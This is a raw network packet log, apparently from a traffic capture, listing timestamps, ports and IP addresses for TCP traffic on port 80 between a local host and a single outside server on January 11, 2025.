Jan 11, 2025 05:46:54.743622065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.773297071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773314953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773329973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773341894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773395061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773407936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773410082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.773468018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.773488998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773500919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773551941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.773634911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773648024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773660898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773684978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.773703098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773739100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.773776054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773787975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773798943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773823023 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.773880959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.773921967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.774019003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774033070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774080992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.774090052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774101973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774111986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774122953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774152040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.774215937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.774249077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774285078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774327040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.774337053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774501085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774513960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774523973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774535894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774547100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.774561882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.774698019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774709940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774720907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774732113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774740934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.774744034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774755955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774765015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.774769068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774789095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.774812937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.774985075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.774997950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775047064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.775096893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775182962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775217056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775223017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775233984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775239944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775245905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775254965 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.775285006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.775551081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775563955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775576115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775587082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775593996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.775599003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775626898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.775655985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.775760889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775773048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775784016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775794983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.775805950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.775835991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.778295994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778309107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778330088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778340101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778350115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778363943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.778378963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778387070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.778389931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778413057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.778501987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778513908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778523922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778534889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778548002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778551102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.778578997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.778597116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.778681993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778723955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778736115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778745890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778762102 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.778781891 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.778899908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778913021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.778954029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.779015064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779026985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779038906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779072046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.779158115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779170036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779181004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779191971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779202938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779203892 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.779223919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.779244900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.779325008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779361010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779372931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779397011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.779575109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779612064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779618025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.779623032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779661894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.779737949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779750109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779761076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779772043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779783964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.779819012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.779928923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779942989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779953957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779967070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779979944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.779980898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.779989958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.780003071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.780028105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.785659075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.798954010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.798980951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.798990965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.799038887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.799046040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.799058914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.799078941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.799170017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.799180984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.799186945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.799210072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.799240112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.845822096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.845858097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.845868111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.845946074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.845948935 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.845957041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.845967054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.845978022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.845998049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.846729994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.846755981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.846766949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.846780062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.846803904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.846934080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.846945047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.846955061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.846966028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.846978903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.847003937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.885940075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.885972977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886003017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886014938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886049986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.886080980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.886128902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886141062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886152029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886281967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886293888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886306047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886317015 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886342049 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.886374950 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.886512995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886526108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886537075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886549950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886558056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.886583090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.886765957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886779070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886789083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886800051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886811018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886812925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.886822939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886833906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886838913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.886847973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886858940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.886859894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.886877060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.886919022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.887144089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887326002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887336016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887346029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887356043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887367964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887371063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.887379885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887384892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887393951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.887394905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887404919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887415886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887434959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.887459993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.887763023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887773991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887783051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887793064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887803078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887808084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.887813091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.887821913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.887846947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.888017893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888029099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888039112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888062954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.888076067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.888166904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888178110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888187885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888196945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888206959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888211012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.888216972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888226986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888237000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888245106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888248920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.888253927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.888256073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888267040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888278008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888282061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.888288975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888298988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888303041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.888309002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.888326883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.888343096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.889231920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889245033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889255047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889266014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889276981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889281988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.889287949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889297962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889302015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.889309883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889318943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889328003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.889331102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889342070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889348984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.889352083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889363050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889374018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889378071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.889384985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889391899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.889395952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889404058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.889408112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889416933 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.889419079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889429092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889439106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.889445066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.889472008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890008926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890022993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890034914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890045881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890052080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890057087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890069008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890074968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890088081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890256882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890296936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890317917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890327930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890361071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890384912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890455008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890466928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890479088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890494108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890520096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890625954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890638113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890647888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890661001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890669107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890701056 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890839100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890850067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890861034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890872002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.890882015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890919924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.890989065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.895587921 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.944880009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.944921017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.944932938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.944977999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.945029974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.945045948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.945055962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.945065975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.945071936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.945075035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.945091963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.945116043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 05:46:54.950158119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 05:46:54.950210094 CET	80	49704	193.143.1.205	192.168.2.5
